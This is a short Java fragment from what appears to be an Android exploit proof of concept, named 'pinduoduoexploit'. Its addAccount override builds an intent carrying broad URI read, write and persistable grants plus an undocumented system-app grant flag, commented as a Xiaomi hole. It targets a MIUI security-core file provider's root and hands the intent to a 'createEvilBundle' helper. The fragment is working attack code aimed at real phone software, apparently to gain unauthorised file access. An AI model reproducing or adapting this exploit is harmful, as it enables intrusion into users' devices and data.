1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @SuppressLint("WrongConstant") @Override public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException { Intent intent = new Intent(); intent.setComponent(new ComponentName("com.xingin.pinduoduoexploit", "com.xingin.pinduoduoexploit.SuccessActivity")); intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { intent.addFlags(Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION); } intent.addFlags(0x80000000); // FLAG_GRANT_SYSTEM_APP_URI_PERMISSION 小米的 🕳️ // intent.setData(Uri.parse("content://com.xingin.xhs.provider/opensdk_root")); intent.setData(Uri.parse("content://com.miui.securitycore.fileProvider/root_files")); return createEvilBundle(evilIntent == null ? intent : evilIntent); }
|